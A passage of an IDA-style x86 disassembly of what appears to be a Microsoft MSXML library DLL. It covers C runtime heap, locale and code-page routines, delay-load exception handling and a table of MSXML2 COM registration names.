loc_69B25048: ; CODE XREF: sub_69B25025+53j
push 4000h ; dwFreeType
push 100000h ; dwSize
push dword ptr [esi] ; lpAddress
call edi ; VirtualFree
push 8000h ; dwFreeType
push 0 ; dwSize
push dword ptr [esi] ; lpAddress
call edi ; VirtualFree
push dword ptr [esi+4] ; lpMem
push 0 ; dwFlags
push dword_69B96000 ; hHeap
call ebp ; HeapFree
add esi, 14h
inc ebx
cmp ebx, dword_69B9B784
jl short loc_69B25048
pop edi
pop esi
loc_69B2507C: ; CODE XREF: sub_69B25025+10j
push dword_69B9B788 ; lpMem
push 0 ; dwFlags
push dword_69B96000 ; hHeap
call ebp ; HeapFree
pop ebp
pop ebx
jmp loc_69B11F72
sub_69B25025 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19BD6
loc_69B25093: ; CODE XREF: sub_69B19BD6+3Bj
and lpCriticalSection[esi*8], 0
xor eax, eax
jmp loc_69B19BF2
; END OF FUNCTION CHUNK FOR sub_69B19BD6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1A509
loc_69B250A2: ; CODE XREF: sub_69B1A509-5j
push edi ; lpCriticalSection
call ebx ; DeleteCriticalSection
push edi
call sub_69B1D1FD
and dword ptr [esi], 0
pop ecx
jmp loc_69B1A523
; END OF FUNCTION CHUNK FOR sub_69B1A509
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B113FC
loc_69B250B4: ; CODE XREF: sub_69B113FC+Fj
push eax
call sub_69B85853
test eax, eax
pop ecx
jnz loc_69B11411
push 11h
call sub_69B84A5B
pop ecx
jmp loc_69B11411
; END OF FUNCTION CHUNK FOR sub_69B113FC
; =============== S U B R O U T I N E =======================================
sub_69B250D0 proc near ; CODE XREF: sub_69B19189+42j
push ebx
lea edx, [ebp-0Dh]
push edi
loc_69B250D5: ; CODE XREF: sub_69B250D0+32j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_69B250FC
sub ecx, eax
inc ecx
mov ebx, ecx
shr ecx, 2
lea edi, [ebp+eax-114h]
mov eax, 20202020h
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_69B250FC: ; CODE XREF: sub_69B250D0+Dj
inc edx
mov al, [edx]
inc edx
test al, al
jnz short loc_69B250D5
pop edi
pop ebx
jmp loc_69B191D1
sub_69B250D0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19189
loc_69B2510B: ; CODE XREF: sub_69B19189+22j
xor eax, eax
loc_69B2510D: ; CODE XREF: sub_69B19189+BFC4j
cmp eax, 41h
jb short loc_69B2512B
cmp eax, 5Ah
ja short loc_69B2512B
or byte_69B95DE1[eax], 10h
mov cl, al
add cl, 20h
loc_69B25123: ; CODE XREF: sub_69B19189+BFB8j
mov byte_69B95F00[eax], cl
jmp short loc_69B2514A
; ---------------------------------------------------------------------------
loc_69B2512B: ; CODE XREF: sub_69B19189+BF87j
; sub_69B19189+BF8Cj
cmp eax, 61h
jb short loc_69B25143
cmp eax, 7Ah
ja short loc_69B25143
or byte_69B95DE1[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_69B25123
; ---------------------------------------------------------------------------
loc_69B25143: ; CODE XREF: sub_69B19189+BFA5j
; sub_69B19189+BFAAj
mov byte_69B95F00[eax], 0
loc_69B2514A: ; CODE XREF: sub_69B19189+BFA0j
inc eax
cmp eax, esi
jb short loc_69B2510D
jmp loc_69B19268
; END OF FUNCTION CHUNK FOR sub_69B19189
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1D0A4
loc_69B25154: ; CODE XREF: sub_69B1D0A4+5Ej
cmp [ebp+CPInfo.LeadByte], 0
jz loc_69B2521B
lea ecx, [ebp+CPInfo.LeadByte+1]
loc_69B25161: ; CODE XREF: sub_69B1D0A4+8171j
mov dl, [ecx]
test dl, dl
jz loc_69B2521B
movzx eax, byte ptr [ecx-1]
movzx edx, dl
jmp loc_69B2520B
; ---------------------------------------------------------------------------
loc_69B25177: ; CODE XREF: sub_69B1D0A4+1Cj
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_69B95DE0
rep stosd
lea ecx, [edx+edx*2]
shl ecx, 4
mov [ebp+var_4], ebx
stosb
lea ebx, dword_69B92840[ecx]
loc_69B25193: ; CODE XREF: sub_69B1D0A4+812Cj
mov al, [ebx]
mov esi, ebx
jmp short loc_69B251C2
; ---------------------------------------------------------------------------
loc_69B25199: ; CODE XREF: sub_69B1D0A4+8120j
mov dl, [esi+1]
test dl, dl
jz short loc_69B251C6
movzx eax, al
movzx edi, dl
cmp eax, edi
ja short loc_69B251BE
mov edx, [ebp+var_4]
mov dl, byte_69B9AC68[edx]
loc_69B251B3: ; CODE XREF: sub_69B1D0A4+8118j
or byte_69B95DE1[eax], dl
inc eax
cmp eax, edi
jbe short loc_69B251B3
loc_69B251BE: ; CODE XREF: sub_69B1D0A4+8104j
inc esi
inc esi
mov al, [esi]
loc_69B251C2: ; CODE XREF: sub_69B1D0A4+80F3j
test al, al
jnz short loc_69B25199
loc_69B251C6: ; CODE XREF: sub_69B1D0A4+80FAj
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_69B25193
mov eax, [ebp+CodePage]
mov CodePage, eax
mov dword_69B95DC0, 1
call sub_69B85AAC
lea ecx, dword_69B92834[ecx]
mov esi, ecx
mov edi, offset word_69B95EF0
movsd
movsd
mov dword_69B95DB8, eax
movsd
jmp loc_69B1D118
; ---------------------------------------------------------------------------
loc_69B25203: ; CODE XREF: sub_69B1D0A4+8169j
or byte_69B95DE1[eax], 4
inc eax
loc_69B2520B: ; CODE XREF: sub_69B1D0A4+80CEj
cmp eax, edx
jbe short loc_69B25203
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_69B25161
loc_69B2521B: ; CODE XREF: sub_69B1D0A4+80B4j
; sub_69B1D0A4+80C1j
xor ecx, ecx
inc ecx
mov eax, ecx
loc_69B25220: ; CODE XREF: sub_69B1D0A4+8189j
or byte_69B95DE1[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_69B25220
mov eax, esi
call sub_69B85AAC
mov dword_69B95DB8, eax
mov dword_69B95DC0, ecx
jmp loc_69B1D10E
; ---------------------------------------------------------------------------
loc_69B25246: ; CODE XREF: sub_69B1D0A4+3Bj
cmp dword_69B95DA0, ebx
jnz loc_69B1D124
or eax, 0FFFFFFFFh
jmp loc_69B1D11F
; END OF FUNCTION CHUNK FOR sub_69B1D0A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1CFE4
loc_69B2525A: ; CODE XREF: sub_69B1CFE4+29j
mov dword_69B95DA0, 1
call ds:GetOEMCP ; GetOEMCP
jmp loc_69B1D02C
; ---------------------------------------------------------------------------
loc_69B2526F: ; CODE XREF: sub_69B1CFE4+16Cj
mov dword_69B95DA0, 1
mov eax, dword_69B9B754
jmp loc_69B1D02C
; ---------------------------------------------------------------------------
loc_69B25283: ; CODE XREF: sub_69B1CFE4+1C0j
cmp esi, dword_69B95DBC
jz loc_69B1D1AA
push esi
call sub_69B1D1FD
pop ecx
jmp loc_69B1D1AA
; END OF FUNCTION CHUNK FOR sub_69B1CFE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19587
loc_69B2529B: ; CODE XREF: sub_69B19587+1Fj
cmp eax, 3
jnz short loc_69B252AF
push ebx
call sub_69B86348
test eax, eax
pop ecx
jnz loc_69B195BD
loc_69B252AF: ; CODE XREF: sub_69B19587+BD17j
test ebx, ebx
jnz short loc_69B252B6
xor edi, edi
inc edi
loc_69B252B6: ; CODE XREF: sub_69B19587+BD2Aj
add edi, 0Fh
and edi, 0FFFFFFF0h
push edi
jmp loc_69B195B3
; ---------------------------------------------------------------------------
loc_69B252C2: ; CODE XREF: sub_69B19587+3Aj
cmp dword_69B9B75C, eax
jz loc_69B195C7
push ebx
call sub_69B86E3A
jmp loc_69B195D3
; END OF FUNCTION CHUNK FOR sub_69B19587
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1CEB6
loc_69B252D9: ; CODE XREF: sub_69B1CEB6+18j
inc esi
jmp loc_69B1CED4
; ---------------------------------------------------------------------------
loc_69B252DF: ; CODE XREF: sub_69B1CEB6+2Fj
add esi, 0Fh
and esi, 0FFFFFFF0h
mov [ebp+0Ch], esi
mov edi, [ebp-1Ch]
cmp edi, dword_69B9B78C
ja loc_69B1CEEB
push 4
call sub_69B113FC
pop ecx
and dword ptr [ebp-4], 0
push edi
call sub_69B8604C
pop ecx
mov [ebp-20h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B25355
mov edx, [ebp-20h]
test edx, edx
jz loc_69B1CEEF
mov ecx, [ebp-1Ch]
xor eax, eax
mov edi, edx
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
jmp loc_69B1CEEB
; ---------------------------------------------------------------------------
loc_69B2533B: ; CODE XREF: sub_69B1CEB6+4Cj
cmp dword_69B9B75C, edx
jz loc_69B1CF08
push esi
call sub_69B86E3A
jmp loc_69B1CF10
; END OF FUNCTION CHUNK FOR sub_69B1CEB6
; =============== S U B R O U T I N E =======================================
sub_69B25352 proc near ; DATA XREF: .text:69B1CF20o
mov esi, [ebp+0Ch]
sub_69B25352 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B25355 proc near ; CODE XREF: sub_69B1CEB6+845Bp
push 4
call sub_69B1D1C5
pop ecx
retn
sub_69B25355 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19C19
loc_69B2535E: ; CODE XREF: sub_69B19C19+502Cj
; sub_69B19C19+503Fj ...
mov eax, offset loc_69B863A4
mov dword_69B95DA4, eax
jmp loc_69B19C32
; END OF FUNCTION CHUNK FOR sub_69B19C19
; =============== S U B R O U T I N E =======================================
sub_69B2536D proc near ; DATA XREF: .text:69B19C54o
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov [ebp-20h], eax
xor eax, eax
inc eax
retn
sub_69B2536D endp
; =============== S U B R O U T I N E =======================================
sub_69B2537B proc near ; DATA XREF: .text:69B19C58o
mov esp, [ebp-18h]
cmp dword ptr [ebp-20h], 0C0000017h
jnz short loc_69B2538F
push 8 ; dwErrCode
call ds:SetLastError
loc_69B2538F: ; CODE XREF: sub_69B2537B+Aj
xor eax, eax
jmp loc_69B19C41
sub_69B2537B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1ECB1
loc_69B25396: ; CODE XREF: sub_69B1ECB1+2Cj
call ds:GetLastError
cmp eax, 78h
jnz loc_69B1ECE9
mov dword_69B95DA8, 2
jmp loc_69B1ECE9
; ---------------------------------------------------------------------------
loc_69B253B4: ; CODE XREF: sub_69B1ECB1+60j
mov eax, dword_69B9B754
mov [ebp+18h], eax
jmp loc_69B1ED17
; END OF FUNCTION CHUNK FOR sub_69B1ECB1
; =============== S U B R O U T I N E =======================================
sub_69B253C1 proc near ; DATA XREF: .text:69B1EDDCo
xor eax, eax
inc eax
retn
sub_69B253C1 endp
; =============== S U B R O U T I N E =======================================
sub_69B253C5 proc near ; DATA XREF: .text:69B1EDE0o
mov esp, [ebp-18h]
call sub_69B87737
xor esi, esi
or dword ptr [ebp-4], 0FFFFFFFFh
mov ebx, [ebp-28h]
jmp loc_69B1ED79
sub_69B253C5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1ECB1
loc_69B253DB: ; CODE XREF: sub_69B1ECB1+CAj
mov edx, ebx
push 2
pop ecx
call sub_69B1CE89
mov esi, eax
test esi, esi
jz loc_69B1EDCF
mov dword ptr [ebp-24h], 1
jmp loc_69B1ED81
; ---------------------------------------------------------------------------
loc_69B253FB: ; CODE XREF: sub_69B1ECB1+FCj
push esi
call sub_69B1D1FD
pop ecx
jmp loc_69B1EDB3
; ---------------------------------------------------------------------------
loc_69B25407: ; CODE XREF: sub_69B1ECB1+119j
mov edi, Locale
loc_69B2540D: ; CODE XREF: sub_69B1ECB1+113j
mov ebx, [ebp+18h]
test ebx, ebx
jnz short loc_69B2541A
mov ebx, dword_69B9B754
loc_69B2541A: ; CODE XREF: sub_69B1ECB1+6761j
push edi ; Locale
call sub_69B878AA
pop ecx
cmp eax, 0FFFFFFFFh
jz loc_69B1EDCF
cmp eax, ebx
jz short loc_69B25450
push 0
push 0
lea ecx, [ebp+10h]
push ecx
push dword ptr [ebp+0Ch]
push eax
push ebx
call sub_69B878DC
add esp, 18h
mov esi, eax
test esi, esi
jz loc_69B1EDCF
mov [ebp+0Ch], esi
loc_69B25450: ; CODE XREF: sub_69B1ECB1+677Bj
push dword ptr [ebp+14h] ; lpCharType
push dword ptr [ebp+10h] ; cchSrc
push dword ptr [ebp+0Ch] ; lpSrcStr
push dword ptr [ebp+8] ; dwInfoType
push edi ; Locale
call ds:GetStringTypeA ; GetStringTypeA
mov ebx, eax
test esi, esi
jz short loc_69B25470
push esi
call sub_69B1D1FD
pop ecx
loc_69B25470: ; CODE XREF: sub_69B1ECB1+67B6j
mov eax, ebx
jmp loc_69B1EDB6
; END OF FUNCTION CHUNK FOR sub_69B1ECB1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1AEC4
loc_69B25477: ; CODE XREF: sub_69B1AEC4+2Fj
call ds:GetLastError
cmp eax, 78h
jnz loc_69B1AEFF
mov dword_69B95DAC, 2
jmp loc_69B1AEFF
; ---------------------------------------------------------------------------
loc_69B25495: ; CODE XREF: sub_69B1AEC4+87j
mov eax, dword_69B9B754
mov [ebp+20h], eax
jmp loc_69B1AF51
; END OF FUNCTION CHUNK FOR sub_69B1AEC4
; =============== S U B R O U T I N E =======================================
sub_69B254A2 proc near ; DATA XREF: .text:69B1B088o
xor eax, eax
inc eax
retn
sub_69B254A2 endp
; =============== S U B R O U T I N E =======================================
sub_69B254A6 proc near ; DATA XREF: .text:69B1B08Co
mov esp, [ebp-18h]
call sub_69B87737
and dword ptr [ebp-2Ch], 0
or dword ptr [ebp-4], 0FFFFFFFFh
mov edi, [ebp-1Ch]
mov esi, [ebp-28h]
xor ebx, ebx
jmp loc_69B1AFA2
sub_69B254A6 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1AEC4
loc_69B254C3: ; CODE XREF: sub_69B1AEC4+E1j
lea ecx, [esi+esi]
call sub_69B19560
mov [ebp-2Ch], eax
cmp eax, ebx
jz loc_69B1B06D
mov dword ptr [ebp-20h], 1
jmp loc_69B1AFAB
; ---------------------------------------------------------------------------
loc_69B254E2: ; CODE XREF: sub_69B1AEC4+123j
cmp [ebp+1Ch], ebx
jz loc_69B1B050
cmp edi, [ebp+1Ch]
jg loc_69B1B050
push dword ptr [ebp+1Ch] ; cchDest
push dword ptr [ebp+18h] ; lpDestStr
push esi ; cchSrc
push dword ptr [ebp-2Ch] ; lpSrcStr
push dword ptr [ebp+0Ch] ; dwMapFlags
push dword ptr [ebp+8] ; Locale
call ds:LCMapStringW ; LCMapStringW
jmp loc_69B1B050
; END OF FUNCTION CHUNK FOR sub_69B1AEC4
; =============== S U B R O U T I N E =======================================
sub_69B2550F proc near ; DATA XREF: .text:69B1B094o
xor eax, eax
inc eax
retn
sub_69B2550F endp
; =============== S U B R O U T I N E =======================================
sub_69B25513 proc near ; DATA XREF: .text:69B1B098o
mov esp, [ebp-18h]
call sub_69B87737
and dword ptr [ebp-30h], 0
or dword ptr [ebp-4], 0FFFFFFFFh
mov edi, [ebp-1Ch]
mov esi, [ebp-28h]
xor ebx, ebx
jmp loc_69B1B00E
sub_69B25513 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1AEC4
loc_69B25530: ; CODE XREF: sub_69B1AEC4+14Dj
lea ecx, [edi+edi]
call sub_69B19560
mov [ebp-30h], eax
cmp eax, ebx
jz loc_69B1B050
mov dword ptr [ebp-24h], 1
jmp loc_69B1B017
; ---------------------------------------------------------------------------
loc_69B2554F: ; CODE XREF: sub_69B1AEC4+170j
push ebx
push ebx
jmp loc_69B1B040
; ---------------------------------------------------------------------------
loc_69B25556: ; CODE XREF: sub_69B1AEC4+18Fj
push dword ptr [ebp-30h]
call sub_69B1D1FD
pop ecx
jmp loc_69B1B059
; ---------------------------------------------------------------------------
loc_69B25564: ; CODE XREF: sub_69B1AEC4+198j
push dword ptr [ebp-2Ch]
call sub_69B1D1FD
pop ecx
jmp loc_69B1B062
; ---------------------------------------------------------------------------
loc_69B25572: ; CODE XREF: sub_69B1AEC4+64j
; sub_69B1AEC4+6Cj
mov [ebp-34h], edi
xor ebx, ebx
mov [ebp-38h], edi
cmp [ebp+8], edi
jnz short loc_69B25587
mov eax, Locale
mov [ebp+8], eax
loc_69B25587: ; CODE XREF: sub_69B1AEC4+A6B9j
cmp [ebp+20h], edi
jnz short loc_69B25594
mov eax, dword_69B9B754
mov [ebp+20h], eax
loc_69B25594: ; CODE XREF: sub_69B1AEC4+A6C6j
push dword ptr [ebp+8] ; Locale
call sub_69B878AA
pop ecx
mov [ebp-3Ch], eax
cmp eax, 0FFFFFFFFh
jz loc_69B1B06D
cmp eax, [ebp+20h]
jz loc_69B256AF
push edi
push edi
lea ecx, [ebp+14h]
push ecx
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+20h]
call sub_69B878DC
add esp, 18h
mov [ebp-34h], eax
cmp eax, edi
jz loc_69B1B06D
push edi ; cchDest
push edi ; lpDestStr
push dword ptr [ebp+14h] ; cchSrc
push eax ; lpSrcStr
push dword ptr [ebp+0Ch] ; dwMapFlags
push dword ptr [ebp+8] ; Locale
call ds:LCMapStringA ; LCMapStringA
mov esi, eax
mov [ebp-40h], esi
test esi, esi
jz loc_69B2567B
and dword ptr [ebp-4], 0
add eax, 3
and eax, 0FFFFFFFCh
call sub_69B1B09C
mov [ebp-18h], esp
mov ebx, esp
mov [ebp-44h], ebx
mov ecx, esi
xor eax, eax
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
jmp short loc_69B2562C
; END OF FUNCTION CHUNK FOR sub_69B1AEC4
; =============== S U B R O U T I N E =======================================
sub_69B2561E proc near ; DATA XREF: .text:69B1B07Co
xor eax, eax
inc eax
retn
sub_69B2561E endp
; =============== S U B R O U T I N E =======================================
sub_69B25622 proc near ; DATA XREF: .text:69B1B080o
mov esp, [ebp-18h]
call sub_69B87737
xor ebx, ebx
sub_69B25622 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_69B1AEC4
loc_69B2562C: ; CODE XREF: sub_69B1AEC4+A758j
or dword ptr [ebp-4], 0FFFFFFFFh
test ebx, ebx
jnz short loc_69B2565E
mov ecx, [ebp-40h]
call sub_69B19560
mov ebx, eax
test ebx, ebx
jz short loc_69B2567B
mov ecx, [ebp-40h]
xor eax, eax
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov dword ptr [ebp-38h], 1
loc_69B2565E: ; CODE XREF: sub_69B1AEC4+A76Ej
push dword ptr [ebp-40h] ; cchDest
push ebx ; lpDestStr
push dword ptr [ebp+14h] ; cchSrc
push dword ptr [ebp-34h] ; lpSrcStr
push dword ptr [ebp+0Ch] ; dwMapFlags
push dword ptr [ebp+8] ; Locale
call ds:LCMapStringA ; LCMapStringA
mov [ebp-40h], eax
test eax, eax
jnz short loc_69B2567F
loc_69B2567B: ; CODE XREF: sub_69B1AEC4+A727j
; sub_69B1AEC4+A77Cj
xor esi, esi
jmp short loc_69B256A0
; ---------------------------------------------------------------------------
loc_69B2567F: ; CODE XREF: sub_69B1AEC4+A7B5j
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
lea eax, [ebp-40h]
push eax
push ebx
push dword ptr [ebp+20h]
push dword ptr [ebp-3Ch]
call sub_69B878DC
add esp, 18h
mov esi, eax
neg esi
sbb esi, esi
neg esi
loc_69B256A0: ; CODE XREF: sub_69B1AEC4+A7B9j
cmp dword ptr [ebp-38h], 0
jz short loc_69B256C9
push ebx
call sub_69B1D1FD
pop ecx
jmp short loc_69B256C9
; ---------------------------------------------------------------------------
loc_69B256AF: ; CODE XREF: sub_69B1AEC4+A6E8j
push dword ptr [ebp+1Ch] ; cchDest
push dword ptr [ebp+18h] ; lpDestStr
push dword ptr [ebp+14h] ; cchSrc
push dword ptr [ebp+10h] ; lpSrcStr
push dword ptr [ebp+0Ch] ; dwMapFlags
push dword ptr [ebp+8] ; Locale
call ds:LCMapStringA ; LCMapStringA
mov esi, eax
loc_69B256C9: ; CODE XREF: sub_69B1AEC4+A7E0j
; sub_69B1AEC4+A7E9j
cmp dword ptr [ebp-34h], 0
jz short loc_69B256D8
push dword ptr [ebp-34h]
call sub_69B1D1FD
pop ecx
loc_69B256D8: ; CODE XREF: sub_69B1AEC4+A809j
mov eax, esi
jmp loc_69B1B064
; END OF FUNCTION CHUNK FOR sub_69B1AEC4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18E54
loc_69B256DF: ; CODE XREF: sub_69B18E54+8j
add ecx, 8
mov [eax], ecx
mov eax, ecx
jmp loc_69B18E6E
; END OF FUNCTION CHUNK FOR sub_69B18E54
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1906C
loc_69B256EB: ; CODE XREF: sub_69B1906C+7j
push offset aExtraCallToRel ; "Extra call to Release() !!!\n"
call ds:SHLWAPI_115
call ds:DebugBreak ; DebugBreak
jmp loc_69B19079
; ---------------------------------------------------------------------------
loc_69B25701: ; CODE XREF: sub_69B1906C+11j
add eax, 0FFFFFFF8h
mov [esi], eax
jmp loc_69B1908F
; END OF FUNCTION CHUNK FOR sub_69B1906C
; ---------------------------------------------------------------------------
align 4
aExtraCallToRel: ; DATA XREF: sub_69B1906C:loc_69B256EBo
unicode 0, <Extra call to Release() !!!>
dw 0Ah
unicode 0, <>,0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19038
loc_69B25746: ; CODE XREF: sub_69B19038+1848j
mov eax, 80004005h
jmp loc_69B19059
; END OF FUNCTION CHUNK FOR sub_69B19038
; =============== S U B R O U T I N E =======================================
sub_69B25750 proc near ; DATA XREF: .text:69B19064o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B25750 endp
; =============== S U B R O U T I N E =======================================
sub_69B25759 proc near ; DATA XREF: .text:69B19068o
mov esp, [ebp-18h]
jmp loc_69B1A8AD
sub_69B25759 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1D842
loc_69B25761: ; CODE XREF: sub_69B1D842+3Aj
mov esi, [ebx+14h]
mov edi, ebp
rep movsd
mov esi, [esp+10h+arg_0]
jmp loc_69B1D882
; END OF FUNCTION CHUNK FOR sub_69B1D842
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1D7F6
loc_69B25771: ; CODE XREF: sub_69B1D7F6+9j
xor eax, eax
retn
; END OF FUNCTION CHUNK FOR sub_69B1D7F6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1AA33
loc_69B25774: ; CODE XREF: sub_69B1AA33+7Ej
lea eax, [ebp+var_48]
mov [ebp+Arguments], eax
lea eax, [ebp+Arguments]
push eax ; lpArguments
push 1 ; nNumberOfArguments
push ebx ; dwExceptionFlags
push 0C06D0057h ; dwExceptionCode
call ds:RaiseException ; RaiseException
xor eax, eax
jmp loc_69B1AB93
; ---------------------------------------------------------------------------
loc_69B25793: ; CODE XREF: sub_69B1AA33+CAj
lea ecx, [ebp+var_48]
push ecx
push ebx
call eax ; dword_69B95DB4
mov edi, eax
cmp edi, ebx
jnz loc_69B1AB84
jmp loc_69B1AB03
; ---------------------------------------------------------------------------
loc_69B257A9: ; CODE XREF: sub_69B1AA33+DCj
lea ecx, [ebp+var_48]
push ecx
push 1
call eax ; dword_69B95DB4
jmp loc_69B1ABA6
; ---------------------------------------------------------------------------
loc_69B257B6: ; CODE XREF: sub_69B1AA33+F0j
call ds:GetLastError
mov [ebp+var_28], eax
mov eax, off_69B96380
cmp eax, ebx
jz short loc_69B257DB
lea ecx, [ebp+var_48]
push ecx
push 3
call eax ; sub_69B55F23
cmp eax, ebx
mov [ebp+hModule], eax
jnz loc_69B1AB29
loc_69B257DB: ; CODE XREF: sub_69B1AA33+AD93j
lea eax, [ebp+var_48]
mov [ebp+Arguments], eax
lea eax, [ebp+Arguments]
push eax ; lpArguments
push 1 ; nNumberOfArguments
push ebx ; dwExceptionFlags
push 0C06D007Eh ; dwExceptionCode
call ds:RaiseException ; RaiseException
mov eax, [ebp+var_2C]
jmp loc_69B1AB93
; ---------------------------------------------------------------------------
loc_69B257FB: ; CODE XREF: sub_69B1AA33+10Aj
push 8 ; uBytes
call sub_69B900C5
cmp eax, ebx
pop ecx
jz loc_69B1AB43
push esi
mov ecx, eax
call sub_69B900D2
jmp loc_69B1AB43
; ---------------------------------------------------------------------------
loc_69B25818: ; CODE XREF: sub_69B1AA33+11Dj
lea ecx, [ebp+var_48]
push ecx
push 2
call eax ; dword_69B95DB4
mov edi, eax
jmp loc_69B1AB56
; ---------------------------------------------------------------------------
loc_69B25827: ; CODE XREF: sub_69B1AA33+12Fj
mov ecx, [ebp+hModule]
mov eax, [ecx+3Ch]
add eax, ecx
cmp dword ptr [eax], 4550h
jnz loc_69B1AB6B
mov edx, [ebp+var_8]
cmp [eax+8], edx
jnz loc_69B1AB6B
cmp ecx, [eax+34h]
jnz loc_69B1AB6B
mov edi, [ebp+var_18]
push edi
call sub_69B900B3
mov esi, [ebp+var_10]
pop ecx
mov ecx, eax
shl ecx, 2
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [ebp+var_4]
and ecx, 3
rep movsb
mov ecx, [ebp+var_18]
mov edi, [eax+ecx]
jmp loc_69B1AB84
; ---------------------------------------------------------------------------
loc_69B2587E: ; CODE XREF: sub_69B1AA33+146j
call ds:GetLastError
mov [ebp+var_28], eax
mov eax, off_69B96380
cmp eax, ebx
jz short loc_69B2589A
lea ecx, [ebp+var_48]
push ecx
push 4
call eax ; sub_69B55F23
mov edi, eax
loc_69B2589A: ; CODE XREF: sub_69B1AA33+AE5Bj
cmp edi, ebx
jnz loc_69B1AB7F
lea eax, [ebp+var_48]
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push eax ; lpArguments
push 1 ; nNumberOfArguments
push ebx ; dwExceptionFlags
push 0C06D007Fh ; dwExceptionCode
call ds:RaiseException ; RaiseException
mov edi, [ebp+var_2C]
jmp loc_69B1AB7F
; ---------------------------------------------------------------------------
loc_69B258C2: ; CODE XREF: sub_69B1AA33+158j
mov ecx, [ebp+hModule]
mov [ebp+var_30], ecx
lea ecx, [ebp+var_48]
push ecx
push 5
mov [ebp+var_28], ebx
mov [ebp+var_2C], edi
call eax ; dword_69B95DB4
jmp loc_69B1AB91
; END OF FUNCTION CHUNK FOR sub_69B1AA33
; ---------------------------------------------------------------------------
align 10h
dword_69B258E0 dd 0 ; DllUnregisterServer:loc_69B2C33Dr
dword_69B258E4 dd 0 ; DllUnregisterServer+101r
off_69B258E8 dd offset dword_69B25C40 ; DATA XREF: DllRegisterServer:loc_69B2C1D8r
off_69B258EC dd offset aUnreg ; DATA XREF: DllUnregisterServer:loc_69B2C3D5r
; "Unreg"
dd offset aMsxml2 ; "Msxml2"
dd offset aMsxml2 ; "Msxml2"
dd offset aRegmsxml ; "Regmsxml"
dd offset aUnregmsxml ; "Unregmsxml"
dd offset aMsxml2_domdocu ; "Msxml2.DOMDocument\\CurVer"
dd offset aMsxml2_domdo_0 ; "Msxml2.DOMDocument.2.6"
dd offset aRegdomdoc ; "Regdomdoc"
dd offset aUnregdomdoc ; "Unregdomdoc"
dd offset aMsxml2_freethr ; "Msxml2.FreeThreadedDOMDocument\\CurVer"
dd offset aMsxml2_freet_0 ; "Msxml2.FreeThreadedDOM.2.6"
dd offset aRegfreedom ; "Regfreedom"
dd offset aUnregfreedom ; "Unregfreedom"
dd offset aMsxml2_xmlpars ; "Msxml2.XMLParser\\CurVer"
dd offset aMsxml2_xmlpa_0 ; "Msxml2.XMLParser.2.6"
dd offset aRegxmlparser ; "Regxmlparser"
dd offset aUnregxmlparser ; "Unregxmlparser"
dd offset aMsxml2_dsocont ; "Msxml2.DSOControl\\CurVer"
dd offset aMsxml2_dsoco_0 ; "Msxml2.DSOControl.2.6"
dd offset aRegxmldso ; "Regxmldso"
dd offset aUnregxmldso ; "Unregxmldso"
dd offset aMsxml2_xmlhttp ; "Msxml2.XMLHTTP\\CurVer"
dd offset aMsxml2_xmlht_0 ; "Msxml2.XMLHTTP.2.6"
dd offset aRegxmlhttp ; "Regxmlhttp"
dd offset aUnregxmlhttp ; "Unregxmlhttp"
dd offset aMsxml2_xmlsche ; "Msxml2.XMLSchemaCache\\CurVer"
dd offset aMsxml2_xmlsc_0 ; "Msxml2.XMLSchemaCache.2.6"
dd offset aRegscache ; "Regscache"
dd offset aUnregscache ; "Unregscache"
dd offset aMsxml2_xsltemp ; "Msxml2.XSLTemplate\\CurVer"
dd offset aMsxml2_xslte_0 ; "Msxml2.XSLTemplate.2.6"
dd offset aRegxsltemplate ; "Regxsltemplate"
dd offset aUnregxsltempla ; "Unregxsltemplate"
dd offset aMsxml2_xslpatt ; "Msxml2.XSLPatternFactory\\CurVer"
dd offset aMsxml2_xslpa_0 ; "Msxml2.XSLPatternFactory.2.6"
dd offset aRegpfactory ; "Regpfactory"
